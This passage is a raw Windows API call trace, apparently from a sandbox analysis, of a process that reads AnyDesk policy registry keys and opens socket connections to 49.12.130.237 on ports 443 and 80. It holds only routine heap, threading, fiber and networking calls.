0xe55c90 [0198.807] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2e1f278, lpData=0x0, lpcbData=0x2e1f27c*=0x0 | out: lpType=0x2e1f278*=0x0, lpData=0x0, lpcbData=0x2e1f27c*=0x0) returned 0x6 [0198.807] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2e1f2a4 | out: phkResult=0x2e1f2a4*=0x0) returned 0x2 [0198.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.808] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55078 [0198.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0198.808] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55198 [0198.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe55198, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0198.808] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe495a0 | out: hHeap=0x3b0000) returned 1 [0198.809] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe495a0 [0198.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.809] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0198.809] GetLastError () returned 0x0 [0198.810] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17278) returned 0x6525a0 [0198.811] GetLastError () returned 0x0 [0198.812] GetSystemTime (in: lpSystemTime=0x2e1f384 | out: lpSystemTime=0x2e1f384*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x10c)) [0198.812] GetCurrentThreadId () returned 0xa0c [0198.812] GetCurrentProcessId () returned 0x994 [0198.812] GetLastError () returned 0x0 [0198.812] SwitchToFiber (lpFiber=0x5c4f98) [0198.812] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0198.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55198 [0198.812] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586734356925) returned 1 [0198.812] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.815] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55198 [0198.815] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0198.816] GetCurrentThreadId () returned 0xa0c [0198.816] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0198.816] DeleteFiber (lpFiber=0x5d2978) [0198.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5c520 | out: hHeap=0x3b0000) returned 1 [0198.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe17bd0 | out: hHeap=0x3b0000) returned 1 [0198.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55198 | out: hHeap=0x3b0000) returned 1 [0198.818] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55198 [0198.818] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.818] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.819] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586734980964) returned 1 [0198.819] SwitchToFiber (lpFiber=0x6525a0) [0198.819] GetTickCount () returned 0x188858b [0198.819] GetLastError () returned 0x0 [0198.820] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0198.820] GetCurrentThreadId () returned 0xa0c [0198.820] SetLastError (dwErrCode=0x0) [0198.820] GetLastError () returned 0x0 [0198.821] GetSystemTime (in: lpSystemTime=0x402f604 | out: lpSystemTime=0x402f604*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.821] GetCurrentThreadId () returned 0xa0c [0198.821] GetCurrentProcessId () returned 0x994 [0198.821] GetLastError () returned 0x0 [0198.821] GetSystemTime (in: lpSystemTime=0x402f4cc | out: lpSystemTime=0x402f4cc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.821] GetCurrentThreadId () returned 0xa0c [0198.821] GetCurrentProcessId () returned 0x994 [0198.821] GetLastError () returned 0x0 [0198.821] GetSystemTime (in: lpSystemTime=0x402f490 | out: lpSystemTime=0x402f490*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.821] GetCurrentThreadId () returned 0xa0c [0198.821] GetCurrentProcessId () returned 0x994 [0198.821] GetLastError () returned 0x0 [0198.822] GetSystemTime (in: lpSystemTime=0x402f518 | out: lpSystemTime=0x402f518*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.822] GetCurrentThreadId () returned 0xa0c [0198.822] GetCurrentProcessId () returned 0x994 [0198.822] GetLastError () returned 0x0 [0198.823] GetSystemTime (in: lpSystemTime=0x402f518 | out: lpSystemTime=0x402f518*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.823] GetCurrentThreadId () returned 0xa0c [0198.823] GetCurrentProcessId () returned 0x994 [0198.823] GetLastError () returned 0x0 [0198.823] GetSystemTime (in: lpSystemTime=0x402f518 | out: lpSystemTime=0x402f518*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.823] GetCurrentThreadId () returned 0xa0c [0198.823] GetCurrentProcessId () returned 0x994 [0198.823] GetLastError () returned 0x0 [0198.823] GetSystemTime (in: lpSystemTime=0x402f518 | out: lpSystemTime=0x402f518*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x11c)) [0198.823] GetCurrentThreadId () returned 0xa0c [0198.823] GetCurrentProcessId () returned 0x994 [0198.823] GetLastError () returned 0x0 [0198.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x402f32c, dwCreationFlags=0x4, lpThreadId=0x402f340 | out: lpThreadId=0x402f340*=0xb38) returned 0x370 [0198.825] ResumeThread (hThread=0x370) returned 0x1 [0198.825] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0xffffffff) returned 0x0 [0198.826] CloseHandle (hObject=0x334) returned 1 [0198.826] SwitchToFiber (lpFiber=0x5c4f98) [0198.826] SwitchToFiber (lpFiber=0x5ca728) [0198.826] GetLastError () returned 0x0 [0198.826] SwitchToFiber (lpFiber=0x5c4f98) [0198.827] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0198.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0198.833] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586736434753) returned 1 [0198.833] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.833] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.834] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0198.834] GetCurrentThreadId () returned 0xa0c [0198.834] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.834] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.834] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586736565731) returned 1 [0198.835] SwitchToFiber (lpFiber=0x6525a0) [0198.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0198.835] GetCurrentThreadId () returned 0xa0c [0198.835] GetExitCodeThread (in: hThread=0x370, lpExitCode=0x402f2e8 | out: lpExitCode=0x402f2e8) returned 1 [0198.835] CloseHandle (hObject=0x370) returned 1 [0198.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.835] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.836] GetLastError () returned 0x0 [0198.836] GetSystemTime (in: lpSystemTime=0x402f418 | out: lpSystemTime=0x402f418*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x12b)) [0198.836] GetCurrentThreadId () returned 0xa0c [0198.836] GetCurrentProcessId () returned 0x994 [0198.836] GetLastError () returned 0x0 [0198.836] htons (hostshort=0x1bb) returned 0xbb01 [0198.836] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x370 [0198.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8e0 [0198.837] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x344 [0198.837] GetCurrentThreadId () returned 0xa0c [0198.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0198.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.837] WSAEventSelect (s=0x370, hEventObject=0x344, lNetworkEvents=59) returned 0 [0198.837] setsockopt (s=0x370, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0198.837] setsockopt (s=0x370, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0198.837] WSAIoctl (in: s=0x370, dwIoControlCode=0x98000004, lpvInBuffer=0x402f3e0, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0) returned 0 [0198.837] setsockopt (s=0x370, level=65535, optname=4097, optval="", optlen=4) returned 0 [0198.837] WSAConnect (in: s=0x370, name=0x402f438*(sa_family=2, sin_port=0x1bb, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0198.838] WSAGetLastError () returned 10035 [0198.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55258 [0198.838] GetTickCount () returned 0x188859a [0198.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b8c0 [0198.838] QueryPerformanceCounter (in: lpPerformanceCount=0x402f320 | out: lpPerformanceCount=0x402f320*=2586736962511) returned 1 [0198.838] GetCurrentThreadId () returned 0xa0c [0198.839] SwitchToFiber (lpFiber=0x5c4f98) [0198.839] SwitchToFiber (lpFiber=0x5ca728) [0198.839] GetLastError () returned 0x2733 [0198.839] SwitchToFiber (lpFiber=0x5c4f98) [0198.839] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2586737020597) returned 1 [0198.839] WaitForMultipleObjects (nCount=0x7, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x1d5) returned 0x6 [0198.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe551c8 [0198.865] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586786397900) returned 1 [0198.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0198.865] GetCurrentThreadId () returned 0xa0c [0198.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8c0 | out: hHeap=0x3b0000) returned 1 [0198.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe49510 [0198.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.865] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.865] WSAEnumNetworkEvents (in: s=0x370, hEventObject=0x0, lpNetworkEvents=0x271f6dc | out: lpNetworkEvents=0x271f6dc) returned 0 [0198.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8c0 [0198.865] GetCurrentThreadId () returned 0xa0c [0198.866] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.866] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586786485911) returned 1 [0198.866] SwitchToFiber (lpFiber=0x6525a0) [0198.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b900 [0198.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0198.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b900 | out: hHeap=0x3b0000) returned 1 [0198.866] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.866] GetCurrentThreadId () returned 0xa0c [0198.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0198.867] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0198.867] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.867] shutdown (s=0x370, how=2) returned 0 [0198.876] closesocket (s=0x370) returned 0 [0198.876] CloseHandle (hObject=0x344) returned 1 [0198.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8e0 | out: hHeap=0x3b0000) returned 1 [0198.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8c0 | out: hHeap=0x3b0000) returned 1 [0198.877] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe00e28 | out: hHeap=0x3b0000) returned 1 [0198.877] GetLastError () returned 0x0 [0198.878] GetSystemTime (in: lpSystemTime=0x402f524 | out: lpSystemTime=0x402f524*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x15a)) [0198.878] GetCurrentThreadId () returned 0xa0c [0198.878] GetCurrentProcessId () returned 0x994 [0198.878] GetLastError () returned 0x0 [0198.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x402f32c, dwCreationFlags=0x4, lpThreadId=0x402f340 | out: lpThreadId=0x402f340*=0xb44) returned 0x370 [0198.880] ResumeThread (hThread=0x370) returned 0x1 [0198.880] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0198.881] CloseHandle (hObject=0x344) returned 1 [0198.881] SwitchToFiber (lpFiber=0x5c4f98) [0198.881] SwitchToFiber (lpFiber=0x5ca728) [0198.881] GetLastError () returned 0x0 [0198.882] SwitchToFiber (lpFiber=0x5c4f98) [0198.882] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0198.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55078 [0198.943] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586794174752) returned 1 [0198.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0198.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.943] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0198.944] GetCurrentThreadId () returned 0xa0c [0198.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.944] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.945] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586794388251) returned 1 [0198.945] SwitchToFiber (lpFiber=0x6525a0) [0198.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0198.945] GetCurrentThreadId () returned 0xa0c [0198.945] GetExitCodeThread (in: hThread=0x370, lpExitCode=0x402f2e8 | out: lpExitCode=0x402f2e8) returned 1 [0198.945] CloseHandle (hObject=0x370) returned 1 [0198.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c20 | out: hHeap=0x3b0000) returned 1 [0198.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.946] GetLastError () returned 0x0 [0198.946] GetSystemTime (in: lpSystemTime=0x402f418 | out: lpSystemTime=0x402f418*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x199)) [0198.946] GetCurrentThreadId () returned 0xa0c [0198.946] GetCurrentProcessId () returned 0x994 [0198.946] GetLastError () returned 0x0 [0198.946] htons (hostshort=0x50) returned 0x5000 [0198.946] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x370 [0198.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bc20 [0198.947] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x334 [0198.947] GetCurrentThreadId () returned 0xa0c [0198.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe320b8 [0198.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe494f0 [0198.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe49510 [0198.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.947] WSAEventSelect (s=0x370, hEventObject=0x334, lNetworkEvents=59) returned 0 [0198.947] setsockopt (s=0x370, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0198.947] setsockopt (s=0x370, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0198.947] WSAIoctl (in: s=0x370, dwIoControlCode=0x98000004, lpvInBuffer=0x402f3e0, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x402f3dc, lpOverlapped=0x0) returned 0 [0198.947] setsockopt (s=0x370, level=65535, optname=4097, optval="", optlen=4) returned 0 [0198.947] WSAConnect (in: s=0x370, name=0x402f438*(sa_family=2, sin_port=0x50, sin_addr="49.12.130.237"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0198.948] WSAGetLastError () returned 10035 [0198.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe55258 [0198.948] GetTickCount () returned 0x18887dc [0198.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b880 [0198.948] QueryPerformanceCounter (in: lpPerformanceCount=0x402f320 | out: lpPerformanceCount=0x402f320*=2586794744621) returned 1 [0198.948] GetCurrentThreadId () returned 0xa0c [0198.948] SwitchToFiber (lpFiber=0x5c4f98) [0198.948] SwitchToFiber (lpFiber=0x5ca728) [0198.948] GetLastError () returned 0x2733 [0198.949] SwitchToFiber (lpFiber=0x5c4f98) [0198.949] QueryPerformanceCounter (in: lpPerformanceCount=0x271f738 | out: lpPerformanceCount=0x271f738*=2586794797442) returned 1 [0198.949] WaitForMultipleObjects (nCount=0x7, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0x1) returned 0x6 [0198.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe551c8 [0198.971] QueryPerformanceCounter (in: lpPerformanceCount=0x271f730 | out: lpPerformanceCount=0x271f730*=2586796995251) returned 1 [0198.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bdc0 [0198.971] GetCurrentThreadId () returned 0xa0c [0198.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0198.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe494f0 [0198.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0198.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe494f0 | out: hHeap=0x3b0000) returned 1 [0198.971] WSAEnumNetworkEvents (in: s=0x370, hEventObject=0x0, lpNetworkEvents=0x271f6dc | out: lpNetworkEvents=0x271f6dc) returned 0 [0198.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b880 [0198.971] GetCurrentThreadId () returned 0xa0c [0198.971] QueryPerformanceFrequency (in: lpFrequency=0x271f74c | out: lpFrequency=0x271f74c*=100000000) returned 1 [0198.971] QueryPerformanceCounter (in: lpPerformanceCount=0x271f74c | out: lpPerformanceCount=0x271f74c*=2586797063654) returned 1 [0198.972] SwitchToFiber (lpFiber=0x6525a0) [0198.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4be00 [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bdc0 | out: hHeap=0x3b0000) returned 1 [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be00 | out: hHeap=0x3b0000) returned 1 [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0198.972] GetCurrentThreadId () returned 0xa0c [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0198.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0198.972] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe49510 | out: hHeap=0x3b0000) returned 1 [0198.972] shutdown (s=0x370, how=2) returned 0 [0198.985] closesocket (s=0x370) returned 0 [0198.985] CloseHandle (hObject=0x334) returned 1 [0198.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc20 | out: hHeap=0x3b0000) returned 1 [0198.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0198.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b880 | out: hHeap=0x3b0000) returned 1 [0198.986] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe00e28 | out: hHeap=0x3b0000) returned 1 [0198.986] GetLastError () returned 0x0 [0198.986] GetSystemTime (in: lpSystemTime=0x402f524 | out: lpSystemTime=0x402f524*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x1c7)) [0198.987] GetCurrentThreadId () returned 0xa0c [0198.987] GetCurrentProcessId () returned 0x994 [0198.987] GetLastError () returned 0x0 [0198.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x402f32c, dwCreationFlags=0x4, lpThreadId=0x402f340 | out: lpThreadId=0x402f340*=0xb50) returned 0x370 [0198.992] ResumeThread (hThread=0x370) returned 0x1 [0198.992] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0xffffffff) returned 0x0 [0198.993] CloseHandle (hObject=0x334) returned 1 [0198.993] SwitchToFiber (lpFiber=0x5c4f98) [0198.993] SwitchToFiber (lpFiber=0x5ca728) [0198.993] GetLastError () returned 0x0 [0198.993] SwitchToFiber (lpFiber=0x5c4f98) [0198.993] WaitForMultipleObjects (nCount=0x6, lpHandles=0x36cc0c*=0x1b8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0199.099] 